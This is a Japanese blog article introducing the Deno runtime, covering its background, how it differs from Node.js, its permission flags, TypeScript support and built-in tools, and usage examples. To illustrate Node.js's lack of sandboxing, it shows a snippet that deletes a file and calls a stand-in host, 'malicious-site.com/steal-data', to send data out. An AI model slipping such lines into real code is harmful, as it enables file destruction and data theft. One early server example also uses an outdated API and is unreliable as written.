Deno とは？Node.js との違い・強み・ユースケースを最新整理

2025年11月19日

Deno

JavaScript と TypeScript の実行環境といえば、多くの開発者が真っ先に思い浮かべるのは Node.js でしょう。しかし近年、新しい選択肢として注目を集めているのが「Deno（ディーノ）」です。Node.js の創始者自らが開発した次世代ランタイムとして、2018 年の発表以来着実に進化を続けています。

本記事では、Deno の基本概念から Node.js との具体的な違い、Deno ならではの強み、そして実際のユースケースまで、最新情報を交えながら体系的に整理します。これから Deno を学ぼうとしている方はもちろん、Node.js からの移行を検討されている方にも役立つ内容となっています。

背景

JavaScript サーバーサイド開発の歴史

JavaScript は元々ブラウザ上で動作するスクリプト言語として誕生しました。しかし 2009 年の Node.js 登場により、サーバーサイドでも JavaScript が使えるようになり、フロントエンドとバックエンドで同じ言語を使える「JavaScript フルスタック開発」が実現しました。

Node.js は V8 エンジンをベースに構築され、非同期 I/O モデルと豊富な npm エコシステムにより爆発的に普及しました。現在では企業の基幹システムから個人開発まで、幅広い場面で活用されています。

Node.js の設計上の課題

Node.js の創始者である Ryan Dahl 氏は、2018 年の JSConf EU で「Node.js について後悔していること」というタイトルの講演を行いました。この中で、以下のような設計上の問題点が指摘されています。

Node.js が抱える主な課題を整理すると、次のような点が挙げられます。

セキュリティの脆弱性 Node.js はデフォルトでファイルシステムやネットワークへの無制限なアクセスを許可しており、悪意のあるコードが実行された場合のリスクが高くなっています。

package.json と node_modules の複雑さ 依存関係の管理が煩雑で、node_modules ディレクトリが肥大化しやすく、依存関係の競合問題も発生しがちです。

TypeScript サポートの不足 TypeScript を使用するには追加の設定やツールが必要で、初心者にとってハードルが高い状況でした。

以下の図は、Node.js が抱える主な課題を視覚化したものです。

mermaidflowchart TB
    node["Node.js の課題"]

    node --> security["セキュリティ"]
    node --> pkg["パッケージ管理"]
    node --> ts["TypeScript"]

    security --> sec1["デフォルトで<br/>無制限アクセス"]
    security --> sec2["権限制御なし"]

    pkg --> pkg1["node_modules<br/>肥大化"]
    pkg --> pkg2["依存関係競合"]
    pkg --> pkg3["package.json<br/>の複雑さ"]

    ts --> ts1["追加設定が必要"]
    ts --> ts2["ビルドツール必須"]
    ts --> ts3["初心者に<br/>ハードル高"]

図で理解できる要点

Node.js の課題は主に 3 つの領域（セキュリティ、パッケージ管理、TypeScript）に分類される
それぞれの課題が具体的な問題を引き起こしている
これらの問題を解決するために Deno が誕生した

Deno 誕生の背景

これらの反省を踏まえ、Ryan Dahl 氏は「もし今から JavaScript ランタイムを作り直すとしたら」という視点で Deno の開発をスタートしました。Deno という名前は、Node の文字を並べ替えたアナグラムになっています。

2018 年の発表当初はプロトタイプでしたが、2020 年 5 月に v1.0 がリリースされ、プロダクション利用が可能になりました。その後も活発な開発が続いており、2025 年現在では安定したランタイムとして多くのプロジェクトで採用されています。

課題

既存の JavaScript ランタイムが抱える問題

Node.js を含む従来の JavaScript サーバーサイド環境には、いくつかの構造的な課題がありました。

セキュリティモデルの欠如

Node.js で書かれたプログラムは、デフォルトでホストシステムのあらゆるリソースにアクセスできます。例えば、以下のようなコードが何の制限もなく実行可能です。

javascript// Node.js では何の警告もなく実行される
const fs = require('fs');
const os = require('os');

// ホームディレクトリの全ファイルを読み取り
fs.readdirSync(os.homedir());

// 任意のファイルを削除
fs.unlinkSync('/path/to/important/file.txt');

// 外部ネットワークへ無制限にアクセス
fetch('https://malicious-site.com/steal-data');

上記のコードは、インストールした npm パッケージの中に含まれていても気づかないまま実行されてしまう可能性があります。

悪意のあるパッケージや、意図せず脆弱性を含むコードが実行された場合、システム全体が危険にさらされるリスクがあります。

依存関係管理の複雑さ

Node.js の依存関係管理には、以下のような問題が存在しました。

node_modules の肥大化 プロジェクトに必要なパッケージとその依存パッケージがすべてローカルにダウンロードされるため、node_modules ディレクトリが数 GB に達することも珍しくありません。

bash# よくある光景
$ du -sh node_modules/
2.3G    node_modules/

# パッケージ数も膨大に
$ ls node_modules/ | wc -l
1247

上記のような状況は、ディスク容量の圧迫やインストール時間の増加を招きます。

バージョン競合問題 複数のパッケージが同じ依存パッケージの異なるバージョンを要求する場合、競合が発生することがあります。

json{
  "dependencies": {
    "package-a": "^1.0.0",
    "package-b": "^2.0.0"
  }
}

package-a が lodash@4.17.20 を必要とし、package-b が lodash@3.10.1 を必要とする場合、どちらを優先すべきかという問題が生じます。

TypeScript の統合の煩雑さ

Node.js で TypeScript を使用する場合、以下のような追加設定が必要でした。

開発環境のセットアップ

bash# TypeScript のインストール
yarn add -D typescript @types/node

# 型定義ファイルのインストール
yarn add -D @types/express @types/jest

# ビルドツールの設定
yarn add -D ts-node nodemon

TypeScript を動かすだけで、複数のパッケージとその設定ファイルが必要になります。

設定ファイルの用意

json// tsconfig.json
{
  "compilerOptions": {
    "target": "ES2020",
    "module": "commonjs",
    "lib": ["ES2020"],
    "outDir": "./dist",
    "rootDir": "./src",
    "strict": true,
    "esModuleInterop": true,
    "skipLibCheck": true,
    "forceConsistentCasingInFileNames": true
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules", "dist"]
}

上記のような設定は初心者にとって理解が難しく、プロジェクトごとに微調整が必要になることも多々あります。

これらの課題を解決し、より安全で使いやすい JavaScript ランタイムを実現することが、Deno 開発の主要な動機となりました。

解決策

Deno が提供する新しいアプローチ

Deno は、Node.js が抱える課題を根本から見直し、モダンな設計思想に基づいて構築されています。ここでは、Deno がどのように問題を解決しているのか、具体的な仕組みを見ていきましょう。

セキュアバイデフォルトの権限モデル

Deno の最大の特徴は、デフォルトでセキュアな実行環境を提供することです。プログラムがシステムリソースにアクセスするには、明示的に許可フラグを指定する必要があります。

基本的な権限制御の仕組み

typescript// ファイル読み取りを試みるコード
const text = await Deno.readTextFile('./data.txt');

上記のコードを権限なしで実行すると、以下のようなエラーが発生します。

bash# 権限なしで実行
$ deno run main.ts
error: Uncaught (in promise) PermissionDenied: Requires read access to "./data.txt"

エラーメッセージが明確に、どのリソースへのアクセスが拒否されたかを示しています。

正しく実行するには、適切な権限フラグを指定します。

bash# ファイル読み取り権限を付与
$ deno run --allow-read main.ts

# 特定のディレクトリのみ許可
$ deno run --allow-read=./data main.ts

権限を細かく制御できるため、セキュリティリスクを最小限に抑えられます。

利用可能な主要権限フラグ

Deno では、以下のような権限フラグが用意されています。

#	フラグ	説明	使用例
1	`--allow-read`	ファイル読み取り	ログファイルの読み込み
2	`--allow-write`	ファイル書き込み	データベースファイルの更新
3	`--allow-net`	ネットワークアクセス	API リクエストの送信
4	`--allow-env`	環境変数アクセス	設定値の取得
5	`--allow-run`	サブプロセス実行	外部コマンドの実行
6	`--allow-ffi`	外部関数呼び出し	ネイティブライブラリの使用

権限をより細かく制御する例を見てみましょう。

bash# 複数の権限を組み合わせる
$ deno run \
  --allow-read=./data,./config \
  --allow-write=./logs \
  --allow-net=api.example.com \
  server.ts

必要最小限の権限だけを付与することで、万が一の脆弱性が悪用されるリスクを大幅に削減できます。

以下の図は、Deno の権限モデルがどのように動作するかを示しています。

mermaidflowchart LR
    app["Deno アプリ"]
    check{"権限<br/>チェック"}

    app -->|"ファイル読み取り<br/>要求"| check
    app -->|"ネットワーク<br/>アクセス要求"| check
    app -->|"環境変数<br/>読み取り要求"| check

    check -->|"--allow-read<br/>指定あり"| allow1["実行許可"]
    check -->|"--allow-net<br/>指定あり"| allow2["実行許可"]
    check -->|"権限なし"| deny["PermissionDenied<br/>エラー"]

    allow1 --> fs[("ファイル<br/>システム")]
    allow2 --> net[("ネットワーク")]

図で理解できる要点

すべてのシステムリソースアクセスは権限チェックを経由する
権限フラグが指定されている場合のみアクセスが許可される
権限がない場合は即座にエラーとなり、実行が停止する

URL ベースのモジュールシステム

Deno は npm や package.json に依存せず、URL から直接モジュールをインポートする仕組みを採用しています。

基本的なインポート方法

typescript// URL から直接インポート
import { serve } from 'https://deno.land/std@0.218.0/http/server.ts';
import { parse } from 'https://deno.land/std@0.218.0/flags/mod.ts';

// インポートしたモジュールをそのまま使用
const server = serve({ port: 8000 });
console.log('Server running on http://localhost:8000');

for await (const req of server) {
  req.respond({ body: 'Hello Deno!' });
}

URL でバージョンを明示的に指定するため、依存関係が明確になります。

インポートマップによる管理

プロジェクトが大きくなると URL を毎回書くのは煩雑なため、インポートマップを使って管理できます。

json// deno.json
{
  "imports": {
    "std/": "https://deno.land/std@0.218.0/",
    "oak": "https://deno.land/x/oak@v12.6.1/mod.ts",
    "zod": "https://deno.land/x/zod@v3.22.4/mod.ts"
  }
}

インポートマップを定義することで、コード内では短い名前でインポートできます。

typescript// 短縮名でインポート可能
import { Application } from 'oak';
import { z } from 'zod';
import { join } from 'std/path/mod.ts';

const app = new Application();

このアプローチにより、node_modules ディレクトリが不要になり、プロジェクト構造がシンプルになります。

npm パッケージとの互換性

Deno 1.28 以降、npm パッケージも直接利用できるようになりました。

typescript// npm パッケージを直接インポート
import express from 'npm:express@4.18.2';
import chalk from 'npm:chalk@5.3.0';

const app = express();

app.get('/', (req, res) => {
  res.send(chalk.blue('Hello from Express on Deno!'));
});

app.listen(3000);

既存の Node.js エコシステムの資産を活用しながら、Deno の利点も享受できるようになっています。

TypeScript ネイティブサポート

Deno は TypeScript を第一級言語としてサポートしており、追加の設定なしで TypeScript コードを直接実行できます。

ゼロコンフィグで動作

typescript// main.ts
interface User {
  id: number;
  name: string;
  email: string;
}

function greetUser(user: User): string {
  return `Hello, ${user.name}!`;
}

const user: User = {
  id: 1,
  name: 'Taro Yamada',
  email: 'taro@example.com',
};

console.log(greetUser(user));

上記のコードは、そのまま実行できます。

bash# tsconfig.json も yarn も不要
$ deno run main.ts
Hello, Taro Yamada!

トランスパイルやビルドプロセスを意識する必要がありません。

型チェック機能

Deno には強力な型チェック機能が組み込まれています。

typescript// type-error.ts
interface Product {
  id: number;
  name: string;
  price: number;
}

function calculateTotal(
  product: Product,
  quantity: number
): number {
  return product.price * quantity;
}

// 型エラーが発生するコード
const result = calculateTotal({ id: 1, name: 'Book' }, 2);

型エラーが発生した場合の動作を確認してみましょう。

bash# 型チェックを実行
$ deno check type-error.ts
error: TS2345 [ERROR]: Argument of type '{ id: number; name: string; }' is not assignable to parameter of type 'Product'.
  Property 'price' is missing in type '{ id: number; name: string; }' but required in type 'Product'.
const result = calculateTotal({ id: 1, name: 'Book' }, 2);
                               ~~~~~~~~~~~~~~~~~~~~~~~~~

詳細なエラーメッセージにより、問題箇所を素早く特定できます。

標準ライブラリとビルトインツール

Deno には、開発に必要なツールがすべて標準で組み込まれています。

フォーマッター

bash# コードを自動整形
$ deno fmt

# 特定のファイルのみ整形
$ deno fmt src/main.ts

# チェックのみ（整形しない）
$ deno fmt --check

Prettier などの外部ツールをインストールする必要がありません。

リンター

bash# コード品質をチェック
$ deno lint

# 特定のルールを無効化
$ deno lint --rules-exclude=no-unused-vars

# 利用可能なルール一覧を表示
$ deno lint --rules

ESLint の設定ファイルや大量のプラグインが不要になります。

テストランナー

typescript// user_test.ts
import { assertEquals } from 'https://deno.land/std@0.218.0/assert/mod.ts';

Deno.test('ユーザー名が正しく取得できる', () => {
  const user = { id: 1, name: 'Taro' };
  assertEquals(user.name, 'Taro');
});

Deno.test('数値の加算が正しく動作する', () => {
  const result = 1 + 2;
  assertEquals(result, 3);
});

テストを実行する際も、追加のインストールは不要です。

bash# テストを実行
$ deno test

# カバレッジも同時に取得
$ deno test --coverage=coverage

# カバレッジレポートを生成
$ deno coverage coverage

Jest や Mocha といったテストフレームワークのセットアップが不要になり、すぐにテストを書き始められます。

バンドラー＆コンパイラ

bash# スタンドアロンの実行可能ファイルを生成
$ deno compile --output myapp main.ts

# クロスプラットフォームビルド
$ deno compile --target x86_64-apple-darwin main.ts
$ deno compile --target x86_64-pc-windows-msvc main.ts
$ deno compile --target x86_64-unknown-linux-gnu main.ts

webpack や esbuild などの設定なしで、本番用のバイナリを生成できます。

これらの解決策により、Deno は開発者体験を大幅に向上させ、より安全で生産性の高い開発環境を実現しています。

具体例

Deno の実装パターンと活用事例

ここでは、Deno を使った実際のコード例と、現実のユースケースを見ていきます。理論だけでなく、具体的にどう使えるのかを理解することで、Deno の実力をより深く知ることができるでしょう。

Web サーバーの構築

Deno の標準ライブラリを使った、シンプルな HTTP サーバーの実装例です。

基本的な HTTP サーバー

typescript// server.ts
import { serve } from 'https://deno.land/std@0.218.0/http/server.ts';

const handler = (req: Request): Response => {
  const url = new URL(req.url);

  if (url.pathname === '/') {
    return new Response('Welcome to Deno!', {
      status: 200,
      headers: { 'Content-Type': 'text/plain' },
    });
  }

  if (url.pathname === '/api/users') {
    const users = [
      { id: 1, name: 'Alice' },
      { id: 2, name: 'Bob' },
    ];

    return new Response(JSON.stringify(users), {
      status: 200,
      headers: { 'Content-Type': 'application/json' },
    });
  }

  return new Response('Not Found', { status: 404 });
};

console.log('Server running on http://localhost:8000');
await serve(handler, { port: 8000 });

サーバーを起動するには、ネットワーク権限が必要です。

bash# サーバーを起動
$ deno run --allow-net server.ts
Server running on http://localhost:8000

わずか数行で、本格的な Web サーバーが構築できます。

Oak フレームワークを使った REST API

より実践的な例として、Express ライクな Oak フレームワークを使った REST API を見てみましょう。

typescript// api.ts
import {
  Application,
  Router,
} from 'https://deno.land/x/oak@v12.6.1/mod.ts';

interface Book {
  id: number;
  title: string;
  author: string;
}

// データストア（本来はデータベースを使用）
const books: Book[] = [
  { id: 1, title: 'Deno入門', author: '山田太郎' },
  { id: 2, title: 'TypeScript実践', author: '佐藤花子' },
];

上記でデータモデルとサンプルデータを定義しました。

次に、ルーティングを設定します。

typescriptconst router = new Router();

// 全書籍を取得
router.get('/api/books', (ctx) => {
  ctx.response.body = books;
});

// ID で書籍を取得
router.get('/api/books/:id', (ctx) => {
  const id = Number(ctx.params.id);
  const book = books.find((b) => b.id === id);

  if (book) {
    ctx.response.body = book;
  } else {
    ctx.response.status = 404;
    ctx.response.body = { error: 'Book not found' };
  }
});

// 新しい書籍を作成
router.post('/api/books', async (ctx) => {
  const body = await ctx.request.body();
  const newBook: Book = await body.value;

  newBook.id = books.length + 1;
  books.push(newBook);

  ctx.response.status = 201;
  ctx.response.body = newBook;
});

CRUD 操作の基本的なエンドポイントが実装できました。

最後に、アプリケーションを起動します。

typescriptconst app = new Application();

// ルーターをミドルウェアとして登録
app.use(router.routes());
app.use(router.allowedMethods());

console.log('API Server running on http://localhost:8080');
await app.listen({ port: 8080 });

実行には、ネットワークアクセスの権限が必要です。

bash# API サーバーを起動
$ deno run --allow-net api.ts
API Server running on http://localhost:8080

Express で書いた経験がある方なら、すぐに理解できる構文でしょう。

以下の図は、Deno における HTTP リクエストの処理フローを示しています。

mermaidflowchart TB
    client["クライアント<br/>(ブラウザ/API)"]
    deno["Deno Runtime"]
    handler["リクエスト<br/>ハンドラー"]
    router["ルーター"]
    controller["コントローラー"]
    response["レスポンス生成"]

    client -->|"HTTP リクエスト"| deno
    deno -->|"権限チェック<br/>--allow-net"| handler
    handler -->|"パス解析"| router
    router -->|"/api/books"| controller
    controller -->|"データ取得<br/>ビジネスロジック"| response
    response -->|"JSON/HTML"| client

図で理解できる要点

リクエストは Deno ランタイムで権限チェックされる
ルーターがパスに応じて適切なコントローラーに振り分ける
コントローラーがビジネスロジックを実行し、レスポンスを返す

ファイル操作とデータ処理

Deno の強力なファイル API を使った、実用的なデータ処理の例です。

CSV ファイルの読み込みと解析

typescript// csv-processor.ts
import { parse } from 'https://deno.land/std@0.218.0/csv/parse.ts';

// CSV ファイルを読み込む
const csvContent = await Deno.readTextFile(
  './data/users.csv'
);

// CSV をパース
const users = parse(csvContent, {
  skipFirstRow: true,
  columns: ['id', 'name', 'email', 'age'],
});

console.log(`${users.length} 件のユーザーを読み込みました`);

上記のコードで CSV ファイルをオブジェクトの配列に変換できます。

データを加工して、新しいファイルに出力します。

typescript// 30歳以上のユーザーをフィルタリング
const adults = users.filter(
  (user) => Number(user.age) >= 30
);

// JSON ファイルとして出力
await Deno.writeTextFile(
  './output/adults.json',
  JSON.stringify(adults, null, 2)
);

console.log(`${adults.length} 件のデータを出力しました`);

実行時には、読み取りと書き込みの両方の権限が必要です。

bash# ファイル操作の権限を付与して実行
$ deno run --allow-read=./data --allow-write=./output csv-processor.ts
25 件のユーザーを読み込みました
12 件のデータを出力しました

特定のディレクトリだけに権限を限定することで、安全性を保っています。

ディレクトリの走査とファイル検索

typescript// file-finder.ts
async function findFiles(
  dir: string,
  extension: string
): Promise<string[]> {
  const files: string[] = [];

  // ディレクトリを再帰的に走査
  for await (const entry of Deno.readDir(dir)) {
    const path = `${dir}/${entry.name}`;

    if (entry.isDirectory) {
      // サブディレクトリを再帰的に処理
      const subFiles = await findFiles(path, extension);
      files.push(...subFiles);
    } else if (entry.isFile && path.endsWith(extension)) {
      files.push(path);
    }
  }

  return files;
}

// TypeScript ファイルを検索
const tsFiles = await findFiles('./src', '.ts');

console.log(
  `見つかった .ts ファイル: ${tsFiles.length} 件`
);
tsFiles.forEach((file) => console.log(`  - ${file}`));

ディレクトリ内のファイルを効率的に検索できます。

外部 API との連携

Deno の Fetch API を使った、外部サービスとの連携例です。

GitHub API からデータを取得

typescript// github-client.ts
interface Repository {
  name: string;
  description: string;
  stargazers_count: number;
  language: string;
}

async function fetchUserRepos(
  username: string
): Promise<Repository[]> {
  const response = await fetch(
    `https://api.github.com/users/${username}/repos`
  );

  if (!response.ok) {
    throw new Error(`GitHub API error: ${response.status}`);
  }

  return await response.json();
}

// ユーザーのリポジトリを取得
const repos = await fetchUserRepos('denoland');

// スター数でソート
repos.sort(
  (a, b) => b.stargazers_count - a.stargazers_count
);

// 上位5件を表示
console.log('Deno の人気リポジトリ Top 5:');
repos.slice(0, 5).forEach((repo, index) => {
  console.log(
    `${index + 1}. ${repo.name} ⭐ ${repo.stargazers_count}`
  );
  console.log(`   ${repo.description}`);
});

外部 API へのアクセスにはネットワーク権限が必要です。

bash# GitHub API にアクセス
$ deno run --allow-net=api.github.com github-client.ts
Deno の人気リポジトリ Top 5:
1. deno ⭐ 93245
   A modern runtime for JavaScript and TypeScript.
2. deno_std ⭐ 3012
   The Deno Standard Library
...

特定のドメインのみにアクセスを限定することで、セキュリティを高めています。

実際のユースケース

Deno は、以下のような実際のプロジェクトで活用されています。

Web アプリケーション開発 Fresh や Aleph.js といった Deno ネイティブのフレームワークを使い、モダンな Web アプリケーションを構築できます。サーバーサイドレンダリングやエッジコンピューティングに最適です。

CLI ツールの開発 Deno の単一バイナリコンパイル機能を活用し、配布しやすいコマンドラインツールを作成できます。クロスプラットフォーム対応も簡単です。

API サーバー＆マイクロサービス 軽量で高速な HTTP サーバーを構築でき、マイクロサービスアーキテクチャに適しています。Docker コンテナ化も容易で、Kubernetes などのオーケストレーションツールとの相性も良好です。

サーバーレス関数 Deno Deploy を使えば、エッジロケーションで動作するサーバーレス関数を簡単にデプロイできます。低レイテンシでグローバルに展開可能です。

データ処理スクリプト ファイル操作や CSV/JSON の処理、データベースへのバッチ投入など、日常的なデータ処理タスクを効率的に実行できます。

自動化ツール CI/CD パイプライン内でのテスト実行、コード生成、レポート作成など、開発ワークフローの自動化に活用されています。

これらの具体例から、Deno が幅広い用途で活用できることがお分かりいただけたでしょう。

まとめ

Deno の特徴と今後の展望

Deno は、Node.js の教訓を活かして設計された次世代の JavaScript/TypeScript ランタイムです。本記事では、その概要から Node.js との違い、強み、そして具体的なユースケースまでを整理してきました。

Deno の主要な特徴

セキュアバイデフォルトの設計により、デフォルトで安全な実行環境が提供され、明示的な権限付与によってリスクを最小化できます。

TypeScript をネイティブサポートしているため、追加設定なしで TypeScript コードを直接実行でき、型安全性の恩恵を最初から享受できます。

シンプルな依存関係管理を実現し、URL ベースのインポートにより node_modules の肥大化から解放され、インポートマップで整理された管理が可能です。

オールインワンのツールチェインとして、フォーマッター、リンター、テストランナー、バンドラーがすべて標準搭載されており、追加のツールが不要になります。

Web 標準への準拠により、ブラウザと同じ API を使えるため、コードの再利用性が高まります。

Node.js との主な違い

Deno と Node.js の主要な違いを表で整理します。

#	項目	Deno	Node.js
1	セキュリティ	デフォルトで制限あり	デフォルトで制限なし
2	TypeScript	ネイティブサポート	追加設定が必要
3	パッケージ管理	URL インポート	npm + node_modules
4	標準ツール	全部組み込み	外部ツールが必要
5	モジュール形式	ES Modules のみ	CommonJS と ESM
6	npm 互換	`npm:` プレフィックスで対応	ネイティブサポート